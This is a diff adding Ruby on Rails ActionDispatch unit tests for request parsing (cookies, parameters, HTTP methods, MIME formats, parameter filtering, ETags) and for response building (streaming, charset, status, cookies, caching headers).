+    assert_equal "yes", request.cookies["is_admin"], request.cookies.inspect
+
+    # some Nokia phone browsers omit the space after the semicolon separator.
+    # some developers have grown accustomed to using comma in cookie values.
+    request = stub_request("HTTP_COOKIE" => "_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes")
+    assert_equal "c84ace847", request.cookies["_session_id"], request.cookies.inspect
+    assert_equal "yes", request.cookies["is_admin"], request.cookies.inspect
+  end
+end
+
+class RequestParamsParsing < BaseRequestTest
+  test "doesnt break when content type has charset" do
+    request = stub_request(
+      "REQUEST_METHOD" => "POST",
+      "CONTENT_LENGTH" => "flamenco=love".length,
+      "CONTENT_TYPE" => "application/x-www-form-urlencoded; charset=utf-8",
+      "rack.input" => StringIO.new("flamenco=love")
+    )
+
+    assert_equal({ "flamenco" => "love" }, request.request_parameters)
+  end
+
+  test "doesnt interpret request uri as query string when missing" do
+    request = stub_request("REQUEST_URI" => "foo")
+    assert_equal({}, request.query_parameters)
+  end
+end
+
+class RequestRewind < BaseRequestTest
+  test "body should be rewound" do
+    data = "rewind"
+    env = {
+      "rack.input" => StringIO.new(data),
+      "CONTENT_LENGTH" => data.length,
+      "CONTENT_TYPE" => "application/x-www-form-urlencoded; charset=utf-8"
+    }
+
+    # Read the request body by parsing params.
+    request = stub_request(env)
+    request.request_parameters
+
+    # Should have rewound the body.
+    assert_equal 0, request.body.pos
+  end
+
+  test "raw_post rewinds rack.input if RAW_POST_DATA is nil" do
+    request = stub_request(
+      "rack.input" => StringIO.new("raw"),
+      "CONTENT_LENGTH" => 3
+    )
+    assert_equal "raw", request.raw_post
+    assert_equal "raw", request.env["rack.input"].read
+  end
+end
+
+class RequestProtocol < BaseRequestTest
+  test "server software" do
+    assert_equal "lighttpd", stub_request("SERVER_SOFTWARE" => "lighttpd/1.4.5").server_software
+    assert_equal "apache", stub_request("SERVER_SOFTWARE" => "Apache3.422").server_software
+  end
+
+  test "xml http request" do
+    request = stub_request
+
+    assert !request.xml_http_request?
+    assert !request.xhr?
+
+    request = stub_request "HTTP_X_REQUESTED_WITH" => "DefinitelyNotAjax1.0"
+    assert !request.xml_http_request?
+    assert !request.xhr?
+
+    request = stub_request "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
+    assert request.xml_http_request?
+    assert request.xhr?
+  end
+
+  test "reports ssl" do
+    assert !stub_request.ssl?
+    assert stub_request("HTTPS" => "on").ssl?
+  end
+
+  test "reports ssl when proxied via lighttpd" do
+    assert stub_request("HTTP_X_FORWARDED_PROTO" => "https").ssl?
+  end
+
+  test "scheme returns https when proxied" do
+    request = stub_request "rack.url_scheme" => "http"
+    assert !request.ssl?
+    assert_equal "http", request.scheme
+
+    request = stub_request(
+      "rack.url_scheme" => "http",
+      "HTTP_X_FORWARDED_PROTO" => "https"
+    )
+    assert request.ssl?
+    assert_equal "https", request.scheme
+  end
+end
+
+class RequestMethod < BaseRequestTest
+  test "method returns environment's request method when it has not been
+    overridden by middleware".squish do
+
+    ActionDispatch::Request::HTTP_METHODS.each do |method|
+      request = stub_request("REQUEST_METHOD" => method)
+
+      assert_equal method, request.method
+      assert_equal method.underscore.to_sym, request.method_symbol
+    end
+  end
+
+  test "allow request method hacking" do
+    request = stub_request("REQUEST_METHOD" => "POST")
+
+    assert_equal "POST", request.request_method
+    assert_equal "POST", request.env["REQUEST_METHOD"]
+
+    request.request_method = "GET"
+
+    assert_equal "GET", request.request_method
+    assert_equal "GET", request.env["REQUEST_METHOD"]
+    assert request.get?
+  end
+
+  test "invalid http method raises exception" do
+    assert_raise(ActionController::UnknownHttpMethod) do
+      stub_request("REQUEST_METHOD" => "RANDOM_METHOD").request_method
+    end
+  end
+
+  test "method returns original value of environment request method on POST" do
+    request = stub_request("rack.methodoverride.original_method" => "POST")
+    assert_equal "POST", request.method
+  end
+
+  test "method raises exception on invalid HTTP method" do
+    assert_raise(ActionController::UnknownHttpMethod) do
+      stub_request("rack.methodoverride.original_method" => "_RANDOM_METHOD").method
+    end
+
+    assert_raise(ActionController::UnknownHttpMethod) do
+      stub_request("REQUEST_METHOD" => "_RANDOM_METHOD").method
+    end
+  end
+
+  test "exception on invalid HTTP method unaffected by I18n settings" do
+    old_locales = I18n.available_locales
+    old_enforce = I18n.config.enforce_available_locales
+
+    begin
+      I18n.available_locales = [:nl]
+      I18n.config.enforce_available_locales = true
+      assert_raise(ActionController::UnknownHttpMethod) do
+        stub_request("REQUEST_METHOD" => "_RANDOM_METHOD").method
+      end
+    ensure
+      I18n.available_locales = old_locales
+      I18n.config.enforce_available_locales = old_enforce
+    end
+  end
+
+  test "post masquerading as patch" do
+    request = stub_request(
+      "REQUEST_METHOD" => "PATCH",
+      "rack.methodoverride.original_method" => "POST"
+    )
+
+    assert_equal "POST", request.method
+    assert_equal "PATCH",  request.request_method
+    assert request.patch?
+  end
+
+  test "post masquerading as put" do
+    request = stub_request(
+      "REQUEST_METHOD" => "PUT",
+      "rack.methodoverride.original_method" => "POST"
+    )
+    assert_equal "POST", request.method
+    assert_equal "PUT",  request.request_method
+    assert request.put?
+  end
+
+  test "post uneffected by local inflections" do
+    existing_acronyms = ActiveSupport::Inflector.inflections.acronyms.dup
+    existing_acronym_regex = ActiveSupport::Inflector.inflections.acronym_regex.dup
+    begin
+      ActiveSupport::Inflector.inflections do |inflect|
+        inflect.acronym "POS"
+      end
+      assert_equal "pos_t", "POST".underscore
+      request = stub_request "REQUEST_METHOD" => "POST"
+      assert_equal :post, ActionDispatch::Request::HTTP_METHOD_LOOKUP["POST"]
+      assert_equal :post, request.method_symbol
+      assert request.post?
+    ensure
+      # Reset original acronym set
+      ActiveSupport::Inflector.inflections do |inflect|
+        inflect.send(:instance_variable_set, "@acronyms", existing_acronyms)
+        inflect.send(:instance_variable_set, "@acronym_regex", existing_acronym_regex)
+      end
+    end
+  end
+end
+
+class RequestFormat < BaseRequestTest
+  test "xml format" do
+    request = stub_request
+    assert_called(request, :parameters, times: 2, returns: { format: :xml }) do
+      assert_equal Mime[:xml], request.format
+    end
+  end
+
+  test "xhtml format" do
+    request = stub_request
+    assert_called(request, :parameters, times: 2, returns: { format: :xhtml }) do
+      assert_equal Mime[:html], request.format
+    end
+  end
+
+  test "txt format" do
+    request = stub_request
+    assert_called(request, :parameters, times: 2, returns: { format: :txt }) do
+      assert_equal Mime[:text], request.format
+    end
+  end
+
+  test "XMLHttpRequest" do
+    request = stub_request(
+      "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest",
+      "HTTP_ACCEPT" => [Mime[:js], Mime[:html], Mime[:xml], "text/xml", "*/*"].join(",")
+    )
+
+    assert_called(request, :parameters, times: 1, returns: {}) do
+      assert request.xhr?
+      assert_equal Mime[:js], request.format
+    end
+  end
+
+  test "can override format with parameter negative" do
+    request = stub_request
+    assert_called(request, :parameters, times: 2, returns: { format: :txt }) do
+      assert !request.format.xml?
+    end
+  end
+
+  test "can override format with parameter positive" do
+    request = stub_request
+    assert_called(request, :parameters, times: 2, returns: { format: :xml }) do
+      assert request.format.xml?
+    end
+  end
+
+  test "formats text/html with accept header" do
+    request = stub_request "HTTP_ACCEPT" => "text/html"
+    assert_equal [Mime[:html]], request.formats
+  end
+
+  test "formats blank with accept header" do
+    request = stub_request "HTTP_ACCEPT" => ""
+    assert_equal [Mime[:html]], request.formats
+  end
+
+  test "formats XMLHttpRequest with accept header" do
+    request = stub_request "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
+    assert_equal [Mime[:js]], request.formats
+  end
+
+  test "formats application/xml with accept header" do
+    request = stub_request("CONTENT_TYPE" => "application/xml; charset=UTF-8",
+                           "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest")
+    assert_equal [Mime[:xml]], request.formats
+  end
+
+  test "formats format:text with accept header" do
+    request = stub_request
+    assert_called(request, :parameters, times: 2, returns: { format: :txt }) do
+      assert_equal [Mime[:text]], request.formats
+    end
+  end
+
+  test "formats format:unknown with accept header" do
+    request = stub_request
+    assert_called(request, :parameters, times: 2, returns: { format: :unknown }) do
+      assert_instance_of Mime::NullType, request.format
+    end
+  end
+
+  test "format is not nil with unknown format" do
+    request = stub_request
+    assert_called(request, :parameters, times: 2, returns: { format: :hello }) do
+      assert request.format.nil?
+      assert_not request.format.html?
+      assert_not request.format.xml?
+      assert_not request.format.json?
+    end
+  end
+
+  test "format does not throw exceptions when malformed parameters" do
+    request = stub_request("QUERY_STRING" => "x[y]=1&x[y][][w]=2")
+    assert request.formats
+    assert request.format.html?
+  end
+
+  test "formats with xhr request" do
+    request = stub_request "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
+    assert_called(request, :parameters, times: 1, returns: {}) do
+      assert_equal [Mime[:js]], request.formats
+    end
+  end
+
+  test "ignore_accept_header" do
+    old_ignore_accept_header = ActionDispatch::Request.ignore_accept_header
+    ActionDispatch::Request.ignore_accept_header = true
+
+    begin
+      request = stub_request "HTTP_ACCEPT" => "application/xml"
+      assert_called(request, :parameters, times: 1, returns: {}) do
+        assert_equal [ Mime[:html] ], request.formats
+      end
+
+      request = stub_request "HTTP_ACCEPT" => "koz-asked/something-crazy"
+      assert_called(request, :parameters, times: 1, returns: {}) do
+        assert_equal [ Mime[:html] ], request.formats
+      end
+
+      request = stub_request "HTTP_ACCEPT" => "*/*;q=0.1"
+      assert_called(request, :parameters, times: 1, returns: {}) do
+        assert_equal [ Mime[:html] ], request.formats
+      end
+
+      request = stub_request "HTTP_ACCEPT" => "application/jxw"
+      assert_called(request, :parameters, times: 1, returns: {}) do
+        assert_equal [ Mime[:html] ], request.formats
+      end
+
+      request = stub_request "HTTP_ACCEPT" => "application/xml",
+                             "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
+
+      assert_called(request, :parameters, times: 1, returns: {}) do
+        assert_equal [ Mime[:js] ], request.formats
+      end
+
+      request = stub_request "HTTP_ACCEPT" => "application/xml",
+                             "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
+      assert_called(request, :parameters, times: 2, returns: { format: :json }) do
+        assert_equal [ Mime[:json] ], request.formats
+      end
+    ensure
+      ActionDispatch::Request.ignore_accept_header = old_ignore_accept_header
+    end
+  end
+
+  test "format taken from the path extension" do
+    request = stub_request "PATH_INFO" => "/foo.xml"
+    assert_called(request, :parameters, times: 1, returns: {}) do
+      assert_equal [Mime[:xml]], request.formats
+    end
+
+    request = stub_request "PATH_INFO" => "/foo.123"
+    assert_called(request, :parameters, times: 1, returns: {}) do
+      assert_equal [Mime[:html]], request.formats
+    end
+  end
+
+  test "formats from accept headers have higher precedence than path extension" do
+    request = stub_request "HTTP_ACCEPT" => "application/json",
+                           "PATH_INFO" => "/foo.xml"
+
+    assert_called(request, :parameters, times: 1, returns: {}) do
+      assert_equal [Mime[:json]], request.formats
+    end
+  end
+end
+
+class RequestMimeType < BaseRequestTest
+  test "content type" do
+    assert_equal Mime[:html], stub_request("CONTENT_TYPE" => "text/html").content_mime_type
+  end
+
+  test "no content type" do
+    assert_nil stub_request.content_mime_type
+  end
+
+  test "content type is XML" do
+    assert_equal Mime[:xml], stub_request("CONTENT_TYPE" => "application/xml").content_mime_type
+  end
+
+  test "content type with charset" do
+    assert_equal Mime[:xml], stub_request("CONTENT_TYPE" => "application/xml; charset=UTF-8").content_mime_type
+  end
+
+  test "user agent" do
+    assert_equal "TestAgent", stub_request("HTTP_USER_AGENT" => "TestAgent").user_agent
+  end
+
+  test "negotiate_mime" do
+    request = stub_request(
+      "HTTP_ACCEPT" => "text/html",
+      "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
+    )
+
+    assert_nil request.negotiate_mime([Mime[:xml], Mime[:json]])
+    assert_equal Mime[:html], request.negotiate_mime([Mime[:xml], Mime[:html]])
+    assert_equal Mime[:html], request.negotiate_mime([Mime[:xml], Mime::ALL])
+  end
+
+  test "negotiate_mime with content_type" do
+    request = stub_request(
+      "CONTENT_TYPE" => "application/xml; charset=UTF-8",
+      "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest"
+    )
+
+    assert_equal Mime[:xml], request.negotiate_mime([Mime[:xml], Mime[:csv]])
+  end
+end
+
+class RequestParameters < BaseRequestTest
+  test "parameters" do
+    request = stub_request
+
+    assert_called(request, :request_parameters, times: 2, returns: { "foo" => 1 }) do
+      assert_called(request, :query_parameters, times: 2, returns: { "bar" => 2 }) do
+        assert_equal({ "foo" => 1, "bar" => 2 }, request.parameters)
+        assert_equal({ "foo" => 1 }, request.request_parameters)
+        assert_equal({ "bar" => 2 }, request.query_parameters)
+      end
+    end
+  end
+
+  test "parameters not accessible after rack parse error" do
+    request = stub_request("QUERY_STRING" => "x[y]=1&x[y][][w]=2")
+
+    2.times do
+      assert_raises(ActionController::BadRequest) do
+        # rack will raise a Rack::Utils::ParameterTypeError when parsing this query string
+        request.parameters
+      end
+    end
+  end
+
+  test "path parameters with invalid UTF8 encoding" do
+    request = stub_request
+
+    err = assert_raises(ActionController::BadRequest) do
+      request.path_parameters = { foo: "\xBE" }
+    end
+
+    assert_predicate err.message, :valid_encoding?
+    assert_equal "Invalid path parameters: Invalid encoding for parameter: �", err.message
+  end
+
+  test "parameters not accessible after rack parse error of invalid UTF8 character" do
+    request = stub_request("QUERY_STRING" => "foo%81E=1")
+    assert_raises(ActionController::BadRequest) { request.parameters }
+  end
+
+  test "parameters containing an invalid UTF8 character" do
+    request = stub_request("QUERY_STRING" => "foo=%81E")
+    assert_raises(ActionController::BadRequest) { request.parameters }
+  end
+
+  test "parameters containing a deeply nested invalid UTF8 character" do
+    request = stub_request("QUERY_STRING" => "foo[bar]=%81E")
+    assert_raises(ActionController::BadRequest) { request.parameters }
+  end
+
+  test "parameters not accessible after rack parse error 1" do
+    request = stub_request(
+      "REQUEST_METHOD" => "POST",
+      "CONTENT_LENGTH" => "a%=".length,
+      "CONTENT_TYPE" => "application/x-www-form-urlencoded; charset=utf-8",
+      "rack.input" => StringIO.new("a%=")
+    )
+
+    assert_raises(ActionController::BadRequest) do
+      # rack will raise a Rack::Utils::ParameterTypeError when parsing this query string
+      request.parameters
+    end
+  end
+
+  test "we have access to the original exception" do
+    request = stub_request("QUERY_STRING" => "x[y]=1&x[y][][w]=2")
+
+    e = assert_raises(ActionController::BadRequest) do
+      # rack will raise a Rack::Utils::ParameterTypeError when parsing this query string
+      request.parameters
+    end
+
+    assert_not_nil e.cause
+    assert_equal e.cause.backtrace, e.backtrace
+  end
+end
+
+class RequestParameterFilter < BaseRequestTest
+  test "process parameter filter" do
+    test_hashes = [
+    [{ "foo" => "bar" }, { "foo" => "bar" }, %w'food'],
+    [{ "foo" => "bar" }, { "foo" => "[FILTERED]" }, %w'foo'],
+    [{ "foo" => "bar", "bar" => "foo" }, { "foo" => "[FILTERED]", "bar" => "foo" }, %w'foo baz'],
+    [{ "foo" => "bar", "baz" => "foo" }, { "foo" => "[FILTERED]", "baz" => "[FILTERED]" }, %w'foo baz'],
+    [{ "bar" => { "foo" => "bar", "bar" => "foo" } }, { "bar" => { "foo" => "[FILTERED]", "bar" => "foo" } }, %w'fo'],
+    [{ "foo" => { "foo" => "bar", "bar" => "foo" } }, { "foo" => "[FILTERED]" }, %w'f banana'],
+    [{ "deep" => { "cc" => { "code" => "bar", "bar" => "foo" }, "ss" => { "code" => "bar" } } }, { "deep" => { "cc" => { "code" => "[FILTERED]", "bar" => "foo" }, "ss" => { "code" => "bar" } } }, %w'deep.cc.code'],
+    [{ "baz" => [{ "foo" => "baz" }, "1"] }, { "baz" => [{ "foo" => "[FILTERED]" }, "1"] }, [/foo/]]]
+
+    test_hashes.each do |before_filter, after_filter, filter_words|
+      parameter_filter = ActionDispatch::Http::ParameterFilter.new(filter_words)
+      assert_equal after_filter, parameter_filter.filter(before_filter)
+
+      filter_words << "blah"
+      filter_words << lambda { |key, value|
+        value.reverse! if key =~ /bargain/
+      }
+
+      parameter_filter = ActionDispatch::Http::ParameterFilter.new(filter_words)
+      before_filter["barg"] = { :bargain => "gain", "blah" => "bar", "bar" => { "bargain" => { "blah" => "foo" } } }
+      after_filter["barg"]  = { :bargain => "niag", "blah" => "[FILTERED]", "bar" => { "bargain" => { "blah" => "[FILTERED]" } } }
+
+      assert_equal after_filter, parameter_filter.filter(before_filter)
+    end
+  end
+
+  test "parameter filter should maintain hash with indifferent access" do
+    test_hashes = [
+      [{ "foo" => "bar" }.with_indifferent_access, ["blah"]],
+      [{ "foo" => "bar" }.with_indifferent_access, []]
+    ]
+
+    test_hashes.each do |before_filter, filter_words|
+      parameter_filter = ActionDispatch::Http::ParameterFilter.new(filter_words)
+      assert_instance_of ActiveSupport::HashWithIndifferentAccess,
+                         parameter_filter.filter(before_filter)
+    end
+  end
+
+  test "filtered_parameters returns params filtered" do
+    request = stub_request(
+      "action_dispatch.request.parameters" => {
+        "lifo" => "Pratik",
+        "amount" => "420",
+        "step" => "1"
+      },
+      "action_dispatch.parameter_filter" => [:lifo, :amount]
+    )
+
+    params = request.filtered_parameters
+    assert_equal "[FILTERED]", params["lifo"]
+    assert_equal "[FILTERED]", params["amount"]
+    assert_equal "1", params["step"]
+  end
+
+  test "filtered_env filters env as a whole" do
+    request = stub_request(
+      "action_dispatch.request.parameters" => {
+        "amount" => "420",
+        "step" => "1"
+      },
+      "RAW_POST_DATA" => "yada yada",
+      "action_dispatch.parameter_filter" => [:lifo, :amount]
+    )
+    request = stub_request(request.filtered_env)
+
+    assert_equal "[FILTERED]", request.raw_post
+    assert_equal "[FILTERED]", request.params["amount"]
+    assert_equal "1", request.params["step"]
+  end
+
+  test "filtered_path returns path with filtered query string" do
+    %w(; &).each do |sep|
+      request = stub_request(
+        "QUERY_STRING" => %w(username=sikachu secret=bd4f21f api_key=b1bc3b3cd352f68d79d7).join(sep),
+        "PATH_INFO" => "/authenticate",
+        "action_dispatch.parameter_filter" => [:secret, :api_key]
+      )
+
+      path = request.filtered_path
+      assert_equal %w(/authenticate?username=sikachu secret=[FILTERED] api_key=[FILTERED]).join(sep), path
+    end
+  end
+
+  test "filtered_path should not unescape a genuine '[FILTERED]' value" do
+    request = stub_request(
+      "QUERY_STRING" => "secret=bd4f21f&genuine=%5BFILTERED%5D",
+      "PATH_INFO" => "/authenticate",
+      "action_dispatch.parameter_filter" => [:secret]
+    )
+
+    path = request.filtered_path
+    assert_equal request.script_name + "/authenticate?secret=[FILTERED]&genuine=%5BFILTERED%5D", path
+  end
+
+  test "filtered_path should preserve duplication of keys in query string" do
+    request = stub_request(
+      "QUERY_STRING" => "username=sikachu&secret=bd4f21f&username=fxn",
+      "PATH_INFO" => "/authenticate",
+      "action_dispatch.parameter_filter" => [:secret]
+    )
+
+    path = request.filtered_path
+    assert_equal request.script_name + "/authenticate?username=sikachu&secret=[FILTERED]&username=fxn", path
+  end
+
+  test "filtered_path should ignore searchparts" do
+    request = stub_request(
+      "QUERY_STRING" => "secret",
+      "PATH_INFO" => "/authenticate",
+      "action_dispatch.parameter_filter" => [:secret]
+    )
+
+    path = request.filtered_path
+    assert_equal request.script_name + "/authenticate?secret", path
+  end
+end
+
+class RequestEtag < BaseRequestTest
+  test "always matches *" do
+    request = stub_request("HTTP_IF_NONE_MATCH" => "*")
+
+    assert_equal "*", request.if_none_match
+    assert_equal ["*"], request.if_none_match_etags
+
+    assert request.etag_matches?('"strong"')
+    assert request.etag_matches?('W/"weak"')
+    assert_not request.etag_matches?(nil)
+  end
+
+  test "doesn't match absent If-None-Match" do
+    request = stub_request
+
+    assert_nil request.if_none_match
+    assert_equal [], request.if_none_match_etags
+
+    assert_not request.etag_matches?("foo")
+    assert_not request.etag_matches?(nil)
+  end
+
+  test "matches opaque ETag validators without unquoting" do
+    header = '"the-etag"'
+    request = stub_request("HTTP_IF_NONE_MATCH" => header)
+
+    assert_equal header, request.if_none_match
+    assert_equal ['"the-etag"'], request.if_none_match_etags
+
+    assert request.etag_matches?('"the-etag"')
+    assert_not request.etag_matches?("the-etag")
+  end
+
+  test "if_none_match_etags multiple" do
+    header = 'etag1, etag2, "third etag", "etag4"'
+    expected = ["etag1", "etag2", '"third etag"', '"etag4"']
+    request = stub_request("HTTP_IF_NONE_MATCH" => header)
+
+    assert_equal header, request.if_none_match
+    assert_equal expected, request.if_none_match_etags
+    expected.each do |etag|
+      assert request.etag_matches?(etag), etag
+    end
+  end
+end
+
+class RequestVariant < BaseRequestTest
+  def setup
+    super
+    @request = stub_request
+  end
+
+  test "setting variant to a symbol" do
+    @request.variant = :phone
+
+    assert @request.variant.phone?
+    assert_not @request.variant.tablet?
+    assert @request.variant.any?(:phone, :tablet)
+    assert_not @request.variant.any?(:tablet, :desktop)
+  end
+
+  test "setting variant to an array of symbols" do
+    @request.variant = [:phone, :tablet]
+
+    assert @request.variant.phone?
+    assert @request.variant.tablet?
+    assert_not @request.variant.desktop?
+    assert @request.variant.any?(:tablet, :desktop)
+    assert_not @request.variant.any?(:desktop, :watch)
+  end
+
+  test "clearing variant" do
+    @request.variant = nil
+
+    assert @request.variant.empty?
+    assert_not @request.variant.phone?
+    assert_not @request.variant.any?(:phone, :tablet)
+  end
+
+  test "setting variant to a non-symbol value" do
+    assert_raise ArgumentError do
+      @request.variant = "phone"
+    end
+  end
+
+  test "setting variant to an array containing a non-symbol value" do
+    assert_raise ArgumentError do
+      @request.variant = [:phone, "tablet"]
+    end
+  end
+end
+
+class RequestFormData < BaseRequestTest
+  test "media_type is from the FORM_DATA_MEDIA_TYPES array" do
+    assert stub_request("CONTENT_TYPE" => "application/x-www-form-urlencoded").form_data?
+    assert stub_request("CONTENT_TYPE" => "multipart/form-data").form_data?
+  end
+
+  test "media_type is not from the FORM_DATA_MEDIA_TYPES array" do
+    assert !stub_request("CONTENT_TYPE" => "application/xml").form_data?
+    assert !stub_request("CONTENT_TYPE" => "multipart/related").form_data?
+  end
+
+  test "no Content-Type header is provided and the request_method is POST" do
+    request = stub_request("REQUEST_METHOD" => "POST")
+
+    assert_equal "", request.media_type
+    assert_equal "POST", request.request_method
+    assert !request.form_data?
+  end
+end
diff --git a/actionpack/test/dispatch/response_test.rb b/actionpack/test/dispatch/response_test.rb
new file mode 100644
index 0000000000..67d6dea86f
--- /dev/null
+++ b/actionpack/test/dispatch/response_test.rb
@@ -0,0 +1,541 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "timeout"
+require "rack/content_length"
+
+class ResponseTest < ActiveSupport::TestCase
+  def setup
+    @response = ActionDispatch::Response.create
+    @response.request = ActionDispatch::Request.empty
+  end
+
+  def test_can_wait_until_commit
+    t = Thread.new {
+      @response.await_commit
+    }
+    @response.commit!
+    assert @response.committed?
+    assert t.join(0.5)
+  end
+
+  def test_stream_close
+    @response.stream.close
+    assert @response.stream.closed?
+  end
+
+  def test_stream_write
+    @response.stream.write "foo"
+    @response.stream.close
+    assert_equal "foo", @response.body
+  end
+
+  def test_write_after_close
+    @response.stream.close
+
+    e = assert_raises(IOError) do
+      @response.stream.write "omg"
+    end
+    assert_equal "closed stream", e.message
+  end
+
+  def test_each_isnt_called_if_str_body_is_written
+    # Controller writes and reads response body
+    each_counter = 0
+    @response.body = Object.new.tap { |o| o.singleton_class.send(:define_method, :each) { |&block| each_counter += 1; block.call "foo" } }
+    @response["X-Foo"] = @response.body
+
+    assert_equal 1, each_counter, "#each was not called once"
+
+    # Build response
+    status, headers, body = @response.to_a
+
+    assert_equal 200, status
+    assert_equal "foo", headers["X-Foo"]
+    assert_equal "foo", body.each.to_a.join
+
+    # Show that #each was not called twice
+    assert_equal 1, each_counter, "#each was not called once"
+  end
+
+  def test_set_header_after_read_body_during_action
+    @response.body
+
+    # set header after the action reads back @response.body
+    @response["x-header"] = "Best of all possible worlds."
+
+    # the response can be built.
+    status, headers, body = @response.to_a
+    assert_equal 200, status
+    assert_equal "", body.body
+
+    assert_equal "Best of all possible worlds.", headers["x-header"]
+  end
+
+  def test_read_body_during_action
+    @response.body = "Hello, World!"
+
+    # even though there's no explicitly set content-type,
+    assert_nil @response.content_type
+
+    # after the action reads back @response.body,
+    assert_equal "Hello, World!", @response.body
+
+    # the response can be built.
+    status, headers, body = @response.to_a
+    assert_equal 200, status
+    assert_equal({
+      "Content-Type" => "text/html; charset=utf-8"
+    }, headers)
+
+    parts = []
+    body.each { |part| parts << part }
+    assert_equal ["Hello, World!"], parts
+  end
+
+  def test_response_body_encoding
+    body = ["hello".encode(Encoding::UTF_8)]
+    response = ActionDispatch::Response.new 200, {}, body
+    response.request = ActionDispatch::Request.empty
+    assert_equal Encoding::UTF_8, response.body.encoding
+  end
+
+  def test_response_charset_writer
+    @response.charset = "utf-16"
+    assert_equal "utf-16", @response.charset
+    @response.charset = nil
+    assert_equal "utf-8", @response.charset
+  end
+
+  def test_setting_content_type_header_impacts_content_type_method
+    @response.headers["Content-Type"] = "application/aaron"
+    assert_equal "application/aaron", @response.content_type
+  end
+
+  def test_empty_content_type_returns_nil
+    @response.headers["Content-Type"] = ""
+    assert_nil @response.content_type
+  end
+
+  test "simple output" do
+    @response.body = "Hello, World!"
+
+    status, headers, body = @response.to_a
+    assert_equal 200, status
+    assert_equal({
+      "Content-Type" => "text/html; charset=utf-8"
+    }, headers)
+
+    parts = []
+    body.each { |part| parts << part }
+    assert_equal ["Hello, World!"], parts
+  end
+
+  test "status handled properly in initialize" do
+    assert_equal 200, ActionDispatch::Response.new("200 OK").status
+  end
+
+  def test_only_set_charset_still_defaults_to_text_html
+    response = ActionDispatch::Response.new
+    response.charset = "utf-16"
+    _, headers, _ = response.to_a
+    assert_equal "text/html; charset=utf-16", headers["Content-Type"]
+  end
+
+  test "utf8 output" do
+    @response.body = [1090, 1077, 1089, 1090].pack("U*")
+
+    status, headers, _ = @response.to_a
+    assert_equal 200, status
+    assert_equal({
+      "Content-Type" => "text/html; charset=utf-8"
+    }, headers)
+  end
+
+  test "content length" do
+    [100, 101, 102, 204].each do |c|
+      @response = ActionDispatch::Response.new
+      @response.status = c.to_s
+      @response.set_header "Content-Length", "0"
+      _, headers, _ = @response.to_a
+      assert !headers.has_key?("Content-Length"), "#{c} must not have a Content-Length header field"
+    end
+  end
+
+  test "does not contain a message-body" do
+    [100, 101, 102, 204, 304].each do |c|
+      @response = ActionDispatch::Response.new
+      @response.status = c.to_s
+      @response.body = "Body must not be included"
+      _, _, body = @response.to_a
+      assert_empty body, "#{c} must not have a message-body but actually contains #{body}"
+    end
+  end
+
+  test "content type" do
+    [204, 304].each do |c|
+      @response = ActionDispatch::Response.new
+      @response.status = c.to_s
+      _, headers, _ = @response.to_a
+      assert !headers.has_key?("Content-Type"), "#{c} should not have Content-Type header"
+    end
+
+    [200, 302, 404, 500].each do |c|
+      @response = ActionDispatch::Response.new
+      @response.status = c.to_s
+      _, headers, _ = @response.to_a
+      assert headers.has_key?("Content-Type"), "#{c} did not have Content-Type header"
+    end
+  end
+
+  test "does not include Status header" do
+    @response.status = "200 OK"
+    _, headers, _ = @response.to_a
+    assert !headers.has_key?("Status")
+  end
+
+  test "response code" do
+    @response.status = "200 OK"
+    assert_equal 200, @response.response_code
+
+    @response.status = "200"
+    assert_equal 200, @response.response_code
+
+    @response.status = 200
+    assert_equal 200, @response.response_code
+  end
+
+  test "code" do
+    @response.status = "200 OK"
+    assert_equal "200", @response.code
+
+    @response.status = "200"
+    assert_equal "200", @response.code
+
+    @response.status = 200
+    assert_equal "200", @response.code
+  end
+
+  test "message" do
+    @response.status = "200 OK"
+    assert_equal "OK", @response.message
+
+    @response.status = "200"
+    assert_equal "OK", @response.message
+
+    @response.status = 200
+    assert_equal "OK", @response.message
+  end
+
+  test "cookies" do
+    @response.set_cookie("user_name", value: "david", path: "/")
+    _status, headers, _body = @response.to_a
+    assert_equal "user_name=david; path=/", headers["Set-Cookie"]
+    assert_equal({ "user_name" => "david" }, @response.cookies)
+  end
+
+  test "multiple cookies" do
+    @response.set_cookie("user_name", value: "david", path: "/")
+    @response.set_cookie("login", value: "foo&bar", path: "/", expires: Time.utc(2005, 10, 10, 5))
+    _status, headers, _body = @response.to_a
+    assert_equal "user_name=david; path=/\nlogin=foo%26bar; path=/; expires=Mon, 10 Oct 2005 05:00:00 -0000", headers["Set-Cookie"]
+    assert_equal({ "login" => "foo&bar", "user_name" => "david" }, @response.cookies)
+  end
+
+  test "delete cookies" do
+    @response.set_cookie("user_name", value: "david", path: "/")
+    @response.set_cookie("login", value: "foo&bar", path: "/", expires: Time.utc(2005, 10, 10, 5))
+    @response.delete_cookie("login")
+    assert_equal({ "user_name" => "david", "login" => nil }, @response.cookies)
+  end
+
+  test "read ETag and Cache-Control" do
+    resp = ActionDispatch::Response.new.tap { |response|
+      response.cache_control[:public] = true
+      response.etag = "123"
+      response.body = "Hello"
+    }
+    resp.to_a
+
+    assert resp.etag?
+    assert resp.weak_etag?
+    assert_not resp.strong_etag?
+    assert_equal('W/"202cb962ac59075b964b07152d234b70"', resp.etag)
+    assert_equal({ public: true }, resp.cache_control)
+
+    assert_equal("public", resp.headers["Cache-Control"])
+    assert_equal('W/"202cb962ac59075b964b07152d234b70"', resp.headers["ETag"])
+  end
+
+  test "read strong ETag" do
+    resp = ActionDispatch::Response.new.tap { |response|
+      response.cache_control[:public] = true
+      response.strong_etag = "123"
+      response.body = "Hello"
+    }
+    resp.to_a
+
+    assert resp.etag?
+    assert_not resp.weak_etag?
+    assert resp.strong_etag?
+    assert_equal('"202cb962ac59075b964b07152d234b70"', resp.etag)
+  end
+
+  test "read charset and content type" do
+    resp = ActionDispatch::Response.new.tap { |response|
+      response.charset = "utf-16"
+      response.content_type = Mime[:xml]
+      response.body = "Hello"
+    }
+    resp.to_a
+
+    assert_equal("utf-16", resp.charset)
+    assert_equal(Mime[:xml], resp.content_type)
+
+    assert_equal("application/xml; charset=utf-16", resp.headers["Content-Type"])
+  end
+
